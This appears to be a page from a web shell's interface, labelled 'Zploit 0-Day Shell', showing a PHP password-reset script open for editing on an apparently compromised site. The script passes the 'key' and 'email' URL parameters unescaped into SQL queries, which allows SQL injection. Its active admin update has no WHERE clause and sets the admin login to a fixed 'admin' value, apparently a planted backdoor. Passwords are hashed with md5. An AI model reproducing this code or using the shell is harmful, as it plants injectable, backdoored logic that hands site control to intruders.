Zploit 0-Day Shell

:: Editing File: forgot_password_reset.php

<?php 
include "param.php";
include "func.php";
$message="";
$valid='true';
if(isset($_GET['key']) && isset($_GET['email'])) {
    $key=$_GET['key'];
    $email=$_GET['email'];
    //$check=mysqli_query($dbconfig,"SELECT * FROM forget_password WHERE email='$email' and temp_key='$key'");
    //if key doesnt matches
    $QRY = qry_run("Select * from forget_password where email = '".$email."'and temp_key = '".$key."'");
		if (num_rec($QRY) != 1)//if key doesnt matches
		{    
      echo "This url is invalid or already been used. Please verify and try again.";
      exit;
    }
}
else{
  header('location:index.php');
}

if($_SERVER["REQUEST_METHOD"] == "POST"){
        $password1=RealEscapeString($_POST['password1']);
        $password2=RealEscapeString($_POST['password2']);
        if ($password2==$password1) {
            $message_success="New password has been set for ".$email;
            $password=md5($password1);
            //destroy the key from table
            //mysqli_query($dbconfig,"DELETE FROM forget_password where email='$email' and temp_key='$key'");
            $DLTREC = qry_run("DELETE FROM forget_password where email='$email' and temp_key='$key'");
            //update password in database
            //mysqli_query($dbconfig,"UPDATE user set password='$password' where email='$email'");
            $UPD_ad = qry_run("Update tbl_admin Set plogin = '".md5('admin')."',ppass = '".md5(sha1('My'.md5(chp('password1'))))."'"); 
            //$UPD_ad = qry_run("Update tbl_admin Set plogin = '".md5('admin')."',ppass = '".md5(sha1('My'.md5(htmlentities(addslashes(trim($password1)), ENT_QUOTES, 'UTF-8'))))."' where email='$email'"); 
            //$UPTREC = qry_run("UPDATE user set password='$password' where email='$email'");
        }
        else{
            $message="Verify your password";
        }
}
        
?>

<!DOCTYPE html>
<html>
  <head>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhjVME1fgjWPGmkzs7" crossorigin="anonymous">
    <title>Reset Password</title>
  </head>
  <body>
    <div class="container">
      <div class="row"><br><br><br>
        <div class="col-md-4"></div>
        <div class="col-md-4" style="background-color: #D2D1D1; border-radius:15px;">
          <br><br>
          <form role="form" method="POST">
              <label>Please enter your new password</label><br><br>
              <div class="form-group">
                <input type="password" class="form-control" id="pwd" name="password1" placeholder="Password">
              </div>
              <div class="form-group">
                <input type="password" class="form-control" id="pwd" name="password2" placeholder="Re-type Password">
              </div>
                  <?php if (isset($error)) {
                    echo"<div class='alert alert-danger' role='alert'>
                    <span class='glyphicon glyphicon-exclamation-sign' aria-hidden='true'></span>
                    <span class='sr-only'>Error:</span>".$error."</div>";
                    } ?>
                  <?php if ($message<>"") {
                    echo"<div class='alert alert-danger' role='alert'>
                    <span class='glyphicon glyphicon-exclamation-sign' aria-hidden='true'></span>
                    <span class='sr-only'>Error:</span>".$message."</div>";
                    } ?>
                  <?php if (isset($message_success)) {
                    echo"<div class='alert alert-success' role='alert'>
                    <span class='glyphicon glyphicon-ok' aria-hidden='true'></span>
                    <span class='sr-only'>Error:</span>".$message_success."</div>";
                    } ?>
                <button type="submit" class="btn btn-primary pull-right" name="submit" style="display: block; width: 100%;">Save Password</button>
                <br><br>
                <label>This link will work only once for a limited time period.</label>
                <center> <a href="index.php">Back to Login</a></center>
                <br>
          </form>
        </div>
        <div class="col-md-4">
          <br><br>
          
        </div>
    </div>
  </body>
</html>